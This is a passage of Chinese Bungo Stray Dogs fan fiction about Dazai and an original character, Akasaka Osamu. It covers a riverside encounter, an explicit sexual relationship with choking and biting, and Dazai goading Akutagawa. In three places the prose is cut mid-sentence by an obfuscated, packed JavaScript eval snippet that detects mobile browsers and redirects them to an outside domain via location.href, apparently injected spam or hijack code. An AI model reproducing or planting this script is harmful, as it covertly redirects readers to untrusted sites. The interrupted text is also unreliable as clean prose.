对上他弟赤坂幸一的时候,赤坂冶就没什么好办法了。除了哄就是提供情绪价值,其他的是半点都做不到。他颇为挫败,被弟弟嘀嘀咕咕了一通,这一路上的脚步是越放越慢。 终于,他看着月光下娟娟流淌的河水,在河岸边停下了脚步。 “抱歉。”他温和地说,“我这边有点事,得先挂电话了。嗯,好,早点休息,晚安。” 挂断电话,赤坂冶啪得一下合上翻盖手机,表情重新冷淡下来。 街道上空无一人,河水流淌过去的声音几乎被夜风隐没。赤坂冶就站在那一动不动,在道路侧边的人行步道上,丝毫没有下去河岸旁的草坪上的意思。他在那站了好一会,才等来了水鬼一样从水里爬上来的太宰治。 太宰治浑身都湿透了,黑色大衣的衣摆和袖子滴滴答答地往下滴着水,仿佛被重量压得没力气站直。他吭哧吭哧地从斜坡上爬上来,然后噗通一声就坐倒在地,靠着路边的路灯,歪过脑袋,一副奄奄一息的样子。 “啊……又没死掉……” 深秋的最后一片叶子早已在暮色中跌落,晨起时,公园的石板路上甚至能看到冻结的白霜。圣诞节的脚步已经近了,等今年的第一场雪落下时,从领口灌进来的寒风会更加刺人。 赤坂冶没对他的入水行径发表什么看法,只是问:“你找我?” “不,怎么会?” 赤坂冶垂眸,瞥了太宰治一眼。 横滨临海,这么大片宽阔的水域,偏生挑了他从织田那回来路上会途经的这条河。就算退一万步讲,自杀方式有千百种,太宰治偏生要飘在水面上等他经过。 不过赤坂冶也没反驳。 他只是平板无波地说:“那我回去了。”随后就越过他,目不斜视地向远处走去。 “……真是冷酷无情的男人呢。” 走到第五步时,若有若无的声音从身后飘了过来。那声音就好像说话人半口气上不来,声音再大一点就能累死他一样,沉甸甸的,听不出半点活力。 不过太宰治一般说话都是这个德行,赤坂冶听了就当没听过。 他被对方绕着弯子弄回来加班,他都没说什么。他这还冷酷无情? 天晓得他们那位聪明的组织首领根本不知道究竟是港口mafia的哪位大神看上他赤坂冶了,他单是接收到了人家的暗示,就本着不用白不用的主意把赤坂冶调了回来,对幕后之人是谁完全没有概念。以至于赤坂冶为了预防‘其实有其他人在找他麻烦’这种情况,而千辛万苦绕了十八个弯,才艰难地打探到情况。 甚至他怀疑,那消息很有可能不是他打 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15025558|162237||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 探来的,而是太宰治看够了笑话,吩咐人家漏给他的。 传闻中黑暗世界里最不好惹的、拥有最大自主权、能直接调动情报部队和武装部队的港口mafia干部,对于他这种底层小人物来说,就是难处理到这个地步。 人家要玩他,简直就是唾手可得。 赤坂冶脚步丝毫不停,仿佛彰显着他决绝冷硬的态度。于是太宰治的语气更死了。 “……自从你来了横滨,织田作都不怎么去喝酒了。” 赤坂冶:“……” 他无语地停下脚步,侧身,看了一眼太宰治。 太宰治瘫坐在地上,形象是一点没有,身上滴下来的水将水泥地晕湿了一片。灯光从上面打下来,光线很死,于是那张本就因失温而惨白的面孔落在赤坂冶眼里时就显得更糟糕了。他脸上贴着纱布,额上眼上缠着绷带,微微垂着眸子,看起来又可怜又凄惨。 赤坂冶直觉这其中有故意的成分,但他视线落点在太宰治面孔上停留片刻后,还是回答道:“我没提你的事。” 太宰治挣扎着动了动,扬起脖颈看他。 他似乎很累,仿佛眨眼时睫毛的重量都让他不堪承受。 “你生气了?”他可怜兮兮地问。 好熟悉的问题,赤坂冶回忆了一下。 他以前是不是也这么问过太宰治来着? “没有。”赤坂冶平静地说。 虽然他被迫接手了一堆工作,虽然他接连一个月里一回东京就出事,今天下午也是,刚做完任务回了基地,还没能开着车离开横滨地界呢,就接到电话说他手底下的两个人被送进了医院——虽然被接连找了麻烦,活像有人在他身边按了一圈摄像头,一直阴森森地视奸他,但他真的没有生气。 不过太宰治显然没信。 他有一个瞬间似乎心虚了一下——赤坂冶不确定他是不是故意装出来给他看的——然后委屈巴巴、有气无力地抱怨:“冶君,好冷漠。” 他这话咬字有几分模糊,于是赤坂冶又是无语地看了太宰治一眼。 他冷酷无情地问:“有事?” 不是说好翻篇了吗? 虽然就翻成了这个德行吧,但只要太宰治没骚扰到他弟弟头上,就还在赤坂冶的接受范围内。 “没事就不能找你了吗?”太宰治嘟囔着。他声音软绵绵的,这个距离下,赤坂冶稍有不慎就会错漏他发出的音节,“冶君,我好冷。” 赤坂冶:“……” 他心情复杂地打量着他。这家伙知道自己在说什么吗? 赤坂冶不吭声,太宰治就也不吭声。 他就维持着那副有点冷淡、有点虚弱的模样,望着赤坂冶。 于是僵持好一会,赤坂冶还是走了过来。 他微微蹙着眉,像是无奈的样子,抬手勾着领带结将领口扯开一点,然后在太宰治面前蹲下,一手揽过他的背,一手从他膝盖下穿过去。故意在这装柔弱的黑发干部相当配合,目光不自觉被他轮廓清晰的锁骨、喉结和蹲下身时勒紧大腿的西装裤晃了一下,慢半拍地才抬手揪住他外套领子。 他乖顺地靠到赤坂冶怀里,被抱起来走出一段距离后,才悄声问道:“那你最近去织田作家都是在干嘛?” 16. 016 “你最近去织田作家都是在干嘛?” 赤坂冶花了半秒钟的时间思考太宰治这是在质疑、还是单纯的疑问,然后又用了半秒告诉自己这个问题毫无意义。 赤坂冶问:“你演都不演了?” 太宰治懒洋洋地说:“反正你都猜到了,无所谓吧。” 赤坂冶回了他一声很轻的咂舌,没再说话。 于是太宰治将他的领带拽出来,攥在手里扯了两下:“说啊,嗯?你是去做什么的?” 这事没什么特别要隐瞒的必要,太宰治追问,赤坂冶就说了:“带孩子。” 太宰治想了想:“他抚养着的那几个孤儿?” “嗯。你没见过?” “没有。” 于是赤坂冶很自然地做了阅读理解:知道那几个孩子的消息,知道他们住哪,但是没来过织田家,也没有被正式介绍给这几个孩子过。 所以太宰治和织田是仅停留于港口mafia的朋友关系? “你很喜欢小孩?”太宰治有些稀奇。 “不。”赤坂冶言简意赅。 太宰治支棱起来,观察一下他的表情:“……那为什么?” 赤坂冶有点懒得解释,但又觉得不解释似乎更麻烦。考虑到太宰治都摸到他弟弟家了,还将他们组织的人忽悠得团团转,估计他的资料都被太宰治探查清楚了,赤坂冶就略略解释了一句:“我跟织田认识挺久的了。” 赤坂冶并不喜欢小孩,也不是那种同情心旺盛的人。如果他是的话,为什么织田作之助收养了龙头战争中失去家庭的孤儿,他却没有? 既然如此,他还会去帮忙照顾孩子的原因只能是织田作之助。他看重这个友人,所以不介意给他帮点小忙,也不介意连带着对那几个孩子好一点。 ……对于他们这类人来说,能允许对方介入生活到这个程度,能看重对方到这个程度,这已经是相当深厚的友谊了。 “你们是什么时候认识的?” “他还在做自由杀手的时候。” “哇哦。你那时候在做什么?” “你不知道?”赤坂冶刺了一句,“在上学。” 太宰治终于从他冷淡的表象下窥得一丝确切的情绪。他眼也不眨地盯着赤坂冶,挑起唇角,明目张胆地笑了两声。 赤坂冶注视着前方的道路,目不斜视:“你要是上我们组织的资料室里溜达过,指不准还能找到两张我背书包的照片。” “……还有这种好东西?!” 于是赤坂冶知道了,这位港口mafia的干部还没无聊到这种程度。 他低头看了太宰治一眼,温和地说:“没有,我骗你的。” 太宰治一愣,微微睁大眼睛,眼中泛出几丝鲜活的神采,然后才发出一声长叹,软绵绵地卸掉了浑身的力气。赤坂冶并不在意,他抱着人的动作很稳,总不会叫太宰治摔下去。 不过,在满足了自己的好奇心后,太宰治就开始对自己被公主抱着在街上走这件事感到不满了。他开始挣扎起来,在不方便大声叫唤、吸引来其他人注意力的情况下,他就开始小声蛐蛐,扭动着身体想要用双脚站回到地面上。 赤坂冶慢半拍地意识到这意味着什么,于是他的头后知后觉地疼了起来。 他一刻不耽搁地把人放到地面上,整理了一下衣服,然后飞快地重新把双手放回到口袋里,划分界限的意思明确到就差倒退三大步、跟太宰治拉开距离了。 ……他是真的无语。为什么他对上太宰治的时候总是忍不住情绪波动? 赤坂冶语气都变得不善起来:“……不喜欢就直说。” “哦呀?”太宰治摆出名侦探的架势,摩挲了一下下颚,“不管用吗?” “……”赤坂冶彻底懒得理他了。 他但凡再被太宰治虚弱的模样骗一次,他就把他银行卡里的全部余额砸进他朋友的酒吧,哪怕回不了本也认了。 以及,他现在立刻马上,就想扭头走人。 他实际上也这么做了。赤坂冶耐着性子等了那么几秒,确认太宰治没话要说之后,就冲他点点头,面无表情地转身走了。 “唉——?” 在他背后,太宰治拖长了尾音,“冶君?” 赤坂冶头也不回。 “冶君——?” 太宰治又喊了两声,然后冷不丁语气一转,温度骤降,暗含冷意地念道:“……赤坂冶。” 这是他第一次连名带姓地叫赤坂冶。 赤坂冶猛地刹住脚步。 他给自己做足了思想准备,暗道‘下次再碰见太宰治入水的话,他绝对亲手将太宰治摁到水里爬不起来’,然后才转过身,冷冷地看着太宰治。 太宰治果然已经变了脸。他正眯着眼睛观察着赤坂冶,周身凭空渗出几丝阴冷煞气,看过来的眼神也变了味道,裹挟着戾气与杀意。 赤坂冶仍是面无表情。 开什么玩笑。要杀他的话,太宰治要么用毒,要么人海战术,要么干脆设套将他逼入死局。只有太宰治一个人的话,这样一对一的局面,他根本毫无胜算。 而且,真想他死的话,太宰治刚刚就应该动手了。刚刚那会儿是最好的时机,只要对着他的心口来一枪,就一切都结束了。 太宰治果然没有要动手的意思。 他似乎也不担心赤坂冶会突然暴起动手。 他只是审视着赤坂冶:“你……” 随后,说话间,他的眼神突然落到了某处。然后他突然就中断了自己的话。 “……算了。”他索然无味地说,“没事了。” 赤坂冶:“……” 赤坂冶的头又开始疼了。 寻常人的喜怒无常都只是脾气差,情绪变化基本是有迹可循的。 但太宰治的反复无常是真的反复无常,他的思维太敏捷太跳跃太灵活,赤坂冶完全摸不清他究竟在想什么。他说了,他真的不怎么聪明。要他猜太宰治的想法,未免有些太难为他了。他搞不明白为什么他只是在这站着,太宰治的情绪就能一分钟变化三次。 鉴于这位干部目前是完全拿捏着他工作时长的人,对方只要动动手指打几个电话,他这边就会被迫遭受很多为难、增加很多工作量,赤坂冶本着‘说句话而已,试试又不会掉块肉’的想法,友好地问了句: “到底怎么了?” ——好像也不是那么友好。 不过对太宰治来说够了。他们两人本来也不是那么友好的关系。 已经开始神游的太宰治被这句问话拉回了注意力。他的眼神重新开始聚焦,视线落回赤坂冶身上。 “哦,冶君。”他又开始假模假样地喊这种过分没有边界感的称呼了,“你要不要送我回家?” ** 赤坂冶当然不可能送他回家。 虽然大半夜地叫人埋伏在自己家门口、依靠这种邀请把人哄骗上门然后解决掉的操作未免有些离谱,他觉得太宰治不会这么做,但他也没那个兴趣亲自踩一遍雷。 他半靠在床上,任由太宰治双手用力掐着他的脖颈。太宰治居高临下地看着他,直到他呼吸困难、难受得 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太宰治检查了一圈,不无遗憾地说:“居然一点疤都没留。” 不留疤居然还不行了? 赤坂冶半是感慨半是叹息地说:“你这性癖有点废人。” 按照太宰治下手的轻重程度、那刑讯的手法,受刑者不死也得脱层皮。他其实严重怀疑他上次那已经是太宰治手下留情过的程度了,因为他明明疼那么狠伤那么重,却基本没留下不可逆的后遗症。 “还不到那种程度啦。”太宰治笑眯眯地说,“不过,你不觉得很好看吗?” “……”赤坂冶委婉地说,“我没有那种爱好。” 他床品很好的好不好? 太宰治专心致志,没再说话了。 赤坂冶又忍了一会,才受不了地把他四处作乱的另外那只手也摁住。他胸膛起伏了几下,支起身,呼吸已经有些乱了,声音里带出几分欲色:“……不过你要是有也行。” 太宰治一下乐了。 他乐不可支,笑着说:“喂,这可不是我要求……” 他后半截话被隐没在唇齿间,布料落下时摩擦发出了的细微声响。 太宰治很快挣开他的束缚,摁着他的肩将他重新摁回去,另一手撑在床上。赤坂冶顺从地躺回去,微微偏过头,短暂的呼吸交错过后,细密的吻从脸侧一路延伸向下。 赤坂冶有些惊讶于他今日的兴致。他思考了一下,为避免某些奇怪的误解,他开口道:“我的意思是,你喜欢就行,我无所……” “你还是别说话了。”太宰治冷不丁说,“你知不知道,你现在的声音听起来很糟糕?” “……”赤坂冶被噎了一下,压低声音,竭力维持着平静,“那么,考验你人品的时候到了。” 太宰治含混笑道:“我哪来的那种东西?” 赤坂冶为他的理直气壮震惊了一瞬。 “……真的不介意?” 些微的痛感传来,赤坂冶又是呼吸一窒。他压抑着声音忍耐了片刻,才能开口给予肯定的答复:“嗯。” “……” 太宰治头都没抬。 但他显然是听见了,因为赤坂冶很快为此付出了代价。他条件反射地绷紧了腹部,从后背一路麻到了后颈。他抬手想要制止太宰治,却又不敢粗暴地动作,于是仿佛欲拒还迎一般,他的手搭在了太宰治肩上。 最终他只能有点崩溃地被逼出一声喘息: “嘶……别咬!” 17. 017 赤坂冶是个信奉不留隔夜仇的人,于是他们做了两次后,赤坂冶就把人忽悠进了浴室,放了满满一缸子水,然后粗暴地将太宰治摁了进去。 被摁到水里时,太宰治毫无防备,意外极了,束手无策地挣扎的模样可怜到有点可爱。于是他们又在浴缸里做了一次。 绷带爱好者那满身的绷带终究还是被拆掉了,因为完全湿透了。第二天早上,太宰治骂骂咧咧地叫赤坂冶滚去给他买绷带,而底层打工人赤坂冶在旁边嗯嗯啊啊地回着电话。 电话里的同僚听到他这边有人说话的声音,惊奇地问:“赤坂,你还在家?你……” 赤坂冶都不等他说完就摁下了通话结束的红色按钮,啪得一下合上手机翻盖。 “去不了一点。”他倦怠地说,“东边仓库的那批货到了,我得去盯着。都是你给我整的好事。” ——他讨厌上班。 太宰治:“……” 太宰治瞪着他,从背后嗷呜一口咬到了他肩膀上。 太宰治也讨厌上班。 但他更不爽赤坂冶这副态度。 昨天晚上两人乱七八糟的话讲了一箩筐,应许了太宰治提出的好些要求,但关于被找麻烦的事,赤坂冶是半句都没提。 明明被造成了很大困扰,明明付出了额外心力解决,明明是有不满之情的,但太宰治跑到他面前胡闹一通,他还是问都不问一句,甚至没对太宰治那些得寸进尺的要求表现出抵触。明明已经被逼到一定程度了,但他身上总保有一种游刃有余之感,让太宰治怎么看怎么不爽。 眼下也是。太宰治那一咬是一点力没收,牙齿刺破皮肤,直接见了血,险些把他一块肉给咬下来。但赤坂冶没吭一声,也没有要喊疼的意思。 太宰治不满极了,他松开牙齿,舌尖在伤口处流连片刻,等到满嘴的血腥味淡了些,才退开点距离。赤坂冶甚至微微偏过头方便他动作,于是太宰治阴恻恻的眼神就顺着他的肩膀往更致命的脖颈处滑,思考着要不要往他大动脉上来一口。 感受到脖颈处凉飕飕的,疑似有性命之危,赤坂冶才开口制止。 “别咬了。” 他声音在倦怠里多了几分纵容。“我去给你买绷带。” 太宰治又是沉默:“……” 于是赤坂冶又挨了一口。 “……”赤坂冶彻底没辙了,“……你到底在不满些什么?” “没事。”太宰治松开他,冷笑两声,拽过被子就想躺下。他摆了摆手,懒得再看赤坂冶,“你去吧,再见。” 赤坂冶:“……” 这种时候谁走谁脑子有问题。 赤坂冶及时侧身,抓住他的手臂,一把把人拽了过来,然后捏着下颚吻了上去。他手指用的力道有些大,没那么皮糙肉厚、甚至有点娇气的太宰治一下被弄疼了,没好气地一拳锤过来。 过了好一会,赤坂冶才放开他。他用唇贴了贴太宰治的面颊,含糊地低声问道:“说话?” 太宰治:“……” 太宰治也叫他整没脾气了。他干脆躺到赤坂冶怀里,无精打采地说:“没事了。你走吧。” 一模一样的台词,但语气不一样了。 赤坂冶满头雾水,还是没搞明白到底发生了什么。但他品了品他话里的意思,觉得似乎是没事了。 ——太宰治真的很难伺候,谁懂。 他不明所以,但太宰治已经明摆着懒得和他继续这个话题了,赤坂冶就只能略过这一部分。他琢磨了一会,反而提起另一个话题。 “话说。”他问,“你吻技是不是变好了?” 太宰治:“……” 草了,难道他会把他回去之后天天吃樱桃的事情说出来? “行了,快滚。”太宰治没好气地说,“闭上你的嘴吧!赶紧的,滚。” ** 赤坂冶毫无负罪感地放了同僚的鸽子,跑到药店去给太宰治买绷带。他顶着收银员奇怪的眼神,提了满满一袋子的绷带走,临走前还又加了两盒药膏。 这人手上脸上缠着的绷带确实是只起到一个装饰作用,但他身上的绷带被拆下来后,赤坂冶才发现他身上居然是带着伤的。那伤口奇奇怪怪,不是刀伤也不是枪伤,鬼知道太宰治对自己做了什么,才能在躯干上留下那样的伤口。 他又买了点早餐,才拎着袋子回去。 推门进去前,赤坂冶已经做好了屋内空无一人的准备了,结果出乎他意料的是,太宰治居然还懒洋洋地瘫在床上。他随便从衣柜里摸了件T恤当睡衣,黑发湿漉漉地散落下来,一刻不停地按着手柄,赤坂冶能听到招式释放特效声一个接一个地从游戏机扬声器里传来。 赤坂冶在卧室门口顿住了脚步。 紧张的战斗当中,太宰治甚至还能抽空抬眼看过来。 他注意到赤坂冶的神情,一下子就乐了。 “有这么意外?”他忍不住调侃。 “有点。”赤坂冶诚实地说。 太宰治一哂:“上次是时间有限了啦,我再不回去,森先生真的要生气了。而且我走的时候,你不是也醒着吗?” “那是两码事。”赤坂冶将早餐放在桌上,然后拎着药店袋子进屋,放到床头柜上。他在床边坐下,俯身凑近过来,与太宰治交换了一个吻。 太宰治忍着笑意回应,他完全不闭眼,鸢色的眼瞳里满是揶揄。 他发现赤坂冶在冷淡与亲昵之间的切换快得离谱,很难甄别,节奏让人相当猝不及防。他正饶有兴趣地在观察他情绪变化的规律——还是说,是处事方式变化的规律? 间隙间,赤坂冶礼貌地低声询问:“打扰您玩游戏的话,会生气吗?” “会哦。”太宰治愉快地说,并将还响着bgm的游戏丢到了一边,“因为别人的原因导致我输掉的话,会非常、非常生气呢。” 太宰治抬起手,指腹贴上他的眉骨,一寸寸顺着轮廓描下去。这个不喜欢把大大方方把脸露出来的人五官真的很能打,在这种距离下也完全经得起考验。他的眸色很浅,眉眼间也隐隐有一点欧洲人的特征,跟他完全是亚洲人式精致的弟弟截然不同。 太宰治又伸手去碰他脸上那道狰狞的伤疤,一错不错地观察着赤坂冶的眼神。赤坂冶略显意外,但没有抗拒,只是任由他动作。 这个人对情人似乎总是纵容的。他拥抱你时的力道,透过衣服传来的体温,凝视你时的眼神,凑过来主动讨要的亲吻,总能轻易给人一种他在爱你的感觉。他在关注你的喜好,在乎你的感受,接受你的坏脾气,但…… 那些不过是错觉罢了。 太宰治定定地看了他几秒钟,然后很快收回手。 很好,好极了,这家伙上次在牢里的表现完全是装的。他的眼神没有丝毫回避和瑟缩的迹象,坦然又自信。他对自己的外貌完全不会感到自卑——说的也是,这家伙利用起自己的魅力来简直得心应手,除了不能自卑外,他甚至得对此有一定自信才行。 赤坂冶:“……” 赤坂冶心情多少有点惊悚了。他在半路劫住太宰治的手,扣着他的手指不放。 “……你又生气了?为什么?” 他又做什么了? 赤坂冶冥思苦想了一番: 太宰治不喜欢听敬语?不喜欢这种接吻法??还是说,他真的因为打游戏被中断生气了?? 太宰治将他表情变化尽收眼底,没好气地翻了个白眼:“你有话就直说。” 赤坂冶:“…… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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哈,那滋味真是谁试谁知道,谁试谁倒霉。 太宰治眯起眼睛,心中翻涌起深沉的恶念,但最终还是在赤坂冶微微蹙眉、眼中流露出些许不解的时候放弃了那些念头。 赤坂冶貌似是真的在询问,而非质问,而他居然真的被这隐晦的退让安抚了。 “啧。”太宰治松开手,转而有一下没一下地顺着他的头发,将柔软的发丝在指尖缠绕。他的语气柔和下来,用一种温柔、但他的部下听后大概会汗毛直立背后发麻的口吻说道,“那你回吧。” 于是赤坂冶又确认了,这位干部先生似乎真的对他弟弟很有意见。 真是奇了怪了,他弟弟那么好,究竟怎么惹着太宰治了? 回头他得问问幸一了。 “好。”他面不改色地应了下来,权当没听出太宰治的不快。 “嘁。”太宰治又拖长尾音,“冷酷无情的男人。” 看着赤坂冶起身去拆药盒和绷带的包装,太宰治也重新把自己的游戏机捡回来,将早已game over的游戏读档重开。他漫不经心地摁着手柄按键,一边说了句:“你回去之前再帮我个忙吧。” 赤坂冶没怎么迟疑地接上:“要做什么?” “小事,到时候你就知道了。”太宰治说,“反正你下手轻点就行了。” 赤坂冶生出一种微妙的不详之感。 不过……嘛,毕竟是太宰治。 算了。 “嗯。”他垂下眼,将药涂在太宰治后背,用手掌替他将药抹晕揉开,然后扯着绷带从他身前绕过时,贴在他耳边应了一句,“我知道了。” 18. 018 太宰治站在镜子前,将颈部缠着的绷带散开,重新缠好。 他慢条斯理地整理着一圈圈的绷带,看着镜子里神色阴沉、惹人生厌的自己。 总有人爱讲‘眼睛是心灵的窗户’这种话。一般来说,太宰治是认可的,世俗的人类总以为自己将情绪隐藏得很好,更有愚蠢者爱沾沾自喜,殊不知他们的情绪早就从细微之处泄露了出来。不管是谁,只要稍微吓一吓,就会像受惊了的老鼠一样朝着陷阱直冲而去,满心满眼的恐惧和惊慌都要溢出来了。那种寻常老套的戏码,太宰治虽然总是在玩,却已经厌烦到看都懒得看了。 可对上镜中那双像枯萎树叶一样的眼睛,太宰治也没觉得自己有好到哪去。 镜中那人死气沉沉,稍微一提唇角,眼中便是嘲弄和讥讽的意味,纵使偶尔有喜悦和正面的感情闪过,也像是滴在镜面上的水珠,浮于表面,轻轻一晃就消失不见。 ……但赤坂冶好像很喜欢他的眼睛? 太宰治心不在焉地调整好绷带,然后将衬衫扣子系好,重新打了领结。 那家伙动起手来没个轻重,但在这种地方却相当绅士。明明被咬得到处都是痕迹,不是破皮见血就是青青紫紫,却意外的没在他身上留下什么痕迹。没用的绅士又增加了。 真是个奇怪的家伙。 他拧开水龙头,用冷水细致地洗过十指,直到手指冰冷、指尖发白,才擦净手,离开了休息室。办公室内,芥川龙之介正站在办公桌前等待,见他推门出来,更是挺直脊背,严阵以待地听候他的命令。 太宰治坐到办公椅上,慢吞吞地蹭着滚轮滑到桌后,转了九十度过来,歪着头打量着芥川。 这是他从贫民窟捡来的异能力者,天赋不错,可惜脑子实在不灵光,像头愚蠢的斗牛,用红布一招便傻兮兮地冲上去了。 说真的,这家伙真该跟赤坂冶学一学,后者那按兵不动的能力也不是一般人能掌握的。如果是同样的境遇,换成芥川的话,他恐怕早就被气得气血上涌,头脑一热就直冲港口mafia本部来了,誓死要跟他拼个你死我活——不过,呃,如果是芥川的话,这剧情应该从一开始就不会那么发展了。 太宰治沉着脸假想了一番,越想越觉得吓人。他打了个寒颤,忙不迭挥散了脑子里恐怖的画面。 他也不是没用粗暴的手段教育过芥川,但后者那倔牛一样的行为模式、疯狗一样的眼神、和屡教不改的头铁都还历历在目。 如果真的替换过去了,那场面简直要变成恐怖片了。 “太宰先生,您怎么了?” 注意到他微妙的表情变化,芥川龙之介关切地问道。 芥川龙之介是个看着和太宰治差不多年纪的年轻人。他面容冷峻,神情冷淡,但一双黑眸在看到太宰治的瞬间便像是燃起了火焰,一错不错地注视着他。 那是近乎狂热或信奉的姿态。 太宰治没有理他,而是懒洋洋地说:“芥川啊……” 被点了名的人直勾勾地盯着他,沉声应道:“是。” 这是个太宰治一句话就能为他豁出性命的战士。 只可惜,芥川这媚眼注定要抛给瞎子看。 太宰治对部下的尊敬毫不领情。他换上一种惋惜的语气,轻飘飘地说了一句: “芥川,为什么你这么弱呢?” 只在一瞬间,芥川龙之介浑身的血都冷了。 对于一个渴望得到对方认可的人来说,当面给予这种评价无异于杀人诛心。他的表情肉眼可见地僵在了脸上。 “哎呀,不是……” 太宰治轻轻叹了口气,像是漫谈一样地跟他聊天,同时有一搭没一搭地翻着桌上的任务报告, “我之前呀,遇到了一个很有趣的人呢。我问他要不要做我的直属部下。” 芥川龙之介感觉自己在这一刻已经死去了。 如今他是太宰先生的直属部下,如果有其他人出现在这个位置上的话,就意味着……太宰先生要放弃他了吗? “但是他拒绝了呢,真可惜。” “……” 芥川龙之介短暂地复活了一下,随后席卷而来的就是滔天的怒火和恨意。那可是太宰先生的邀请,太宰先生啊。那个人怎么敢、怎么有权利拒绝太宰先生?! 他没意识到自己的表情已经不自觉地扭曲了起来:“那个人……” 太宰治像是拨弄提线木偶那样,看芥川龙之介为他的每一句话做出激烈的反应,然后无动于衷。 他将找出来的那份报告读过一遍,递给芥川龙之介,半是惋惜半是抱怨: “哎呀,你看,让他做这种工作真是浪费人才。我是看不下去才邀请他的,结果居然被拒绝了呢。真伤心。” 芥川龙之介浑身的血液都在沸腾。他僵硬地接过那份报告,很快锁定了其中最值得注意的那个人。 “不过是一些寻常的任务。”他哑着嗓子说,“在下也可以……” 太宰治像是被逗笑了:“重要的不是他在做什么,而是他能做到什么。” 他眼神下意识地在芥川龙之介身上转了一圈,像是在评判什么,但他很快就兴致缺缺地收回了目光。他唇角蓄着不走心的笑意,敷衍着说:“嘛,加油吧。” 一股子‘加油,努努力吧,万一能达到他那个程度呢?’的意味。 满满的都是对芥川龙之介能力的不信任。 芥川龙之介已经来到爆发的边缘了。报告书里的这个人完成的不过是些简单的、他也能完美完成的任务,怎么能够看出他的能力在他之上?!他想为自己争辩,想要证明自己,但就在他即将压抑不住这种冲动的时刻,太宰治话音一转,拿起桌上其他的文件,语气冷淡地说起了接下来的任务。 他叫芥川来,原本就是为了交代他新的任务。 于是屡次被太宰治教训过的芥川龙之介卡了一下,不得不在太宰治的叙述声中强迫自己转移注意力。 赤坂冶…… 太宰先生的声音从耳边流淌而过,但芥川龙之介有一半的大脑还木然地嚼着这个名字。 赤坂冶—— 他记住了。 ** 赤坂冶蹲在码头跟前,嘴里叼着板巧克力,有气无力地给弟弟发消息。 [幸一:哥,都十二点了,你开始回了吗] [幸一:你准备几点回来啊!] [幸一:[泪眼汪汪.gif]] [幸一:哥,你说下午能回来,莫不是骗我的吧?] [幸一:又不回我又不回我……!] [幸一:我懂的!我都懂!你去忙罢,幸一会乖乖的,不给你惹麻烦的……!] [幸一:[猫猫抱着尾巴大哭.jpg]] 赤坂冶一边觉得好笑,一边又是无力。 昨天太宰治说的可是‘走之前帮个忙’,但眼瞅着都到中午了,他还没等来太宰治提过的那个麻烦。 他此刻就是由衷地希望那不是会导致他行程推迟的麻烦。 [没骗你,下午一定回] [还在外面,工作还没结束,回复不太及时] 赤坂幸一的回复几秒钟后就弹了出来,就像是他随时守候在手机旁一般。 [幸一:[兔兔跳舞转圈圈.jpg]] [幸一:好的!那我去准备材料了!] [幸一:我刚从华国回来的时候就说要给你展示一下我学来的秘制料理,结果居然能硬生生拖两个月!今天说什么都得让你吃到] 赤坂冶:[要做什么?] [幸一:秘密] [幸一:嘿嘿,你到时候就知道了] 赤坂冶正打算打字回复,就察觉到了有人靠近。他眼也不眨地切出了短讯的界面,随便在浏览器里点开一个新闻,往下翻了翻,做出已经阅读了一半的状态。 那同僚靠近过来的时候,探头 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15025561|162237||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一看,就看到一张新闻配图从屏幕上滚过。 “哦哟,这么关心社稷?” 那人再仔细一看,发觉图片上那地方他居然还认识。 “赤坂先生,你去过这个地方?”他张口报出那家酒吧的名字,“前两天有人在那闹起来了,死了一个人,还是个学生仔。好像是被人骗了,跑去找他相好的,结果不小心碰上火拼,就出意外了。” 他一只脚踩在海堤边缘垫起的砖石上,双手插兜,微微俯身下来调侃赤坂冶。他就是昨天早上打电话给赤坂冶的那人,也是原本这支队伍里最有望升职、接手这个任务的人。 只可惜,赤坂冶被调回来之后,长了眼睛的人都能看出首领有多重用赤坂冶。一时半会,组织内都没有空位能腾给他了。 他倒是没那么尖刻地针对赤坂冶,相比有些人,他更喜欢摆出一副平级的、资深者的架势和赤坂冶聊天。他确实也要年长赤坂冶几岁,虽然在组织内的资历没有赤坂冶久,混黑的时间却要比他更长。 “那小子当时哭得可厉害了呢,又哭又闹的,看来是真喜欢。”他笑了下,不无暧昧地说,“仔细想想,好像和那种类型的人在一起确实要更省心一点……” ……这说的都是什么话? 赤坂冶没兴趣再听。 那位干部先生的声音听着很像纯真大学生吗?这家伙是耳朵不好使吗? 他手腕一抖,将手机翻盖合上,抬手捏着巧克力锡纸包装的部位,咔的一声,掰断了一截下来。 那人后面的话被他这个动作打断。 他将话咽回去,打量着赤坂冶。 这男人留着半长的头发,长发也不打理,散落下来后总会遮住一部分脸,导致他看着阴郁又孤僻。这人明明被首领委以重任,却是个内敛没气势的家伙,叫人忍不住怀疑他会不会镇不住场子。 也叫人忍不住来挑衅一番。 那人微微笑道:“怎么?赤坂先生,我说的不对吗?” “……”赤坂冶斜眼瞥过来一眼。 他迎着海的方向蹲着,恰逢一阵风拂过,发丝吹拂间露出了俊美的侧脸和脸上那道狰狞的伤疤。赤坂冶齿间还衔着巧克力的一角,断面被掰得相当整齐,尖角露在外面。 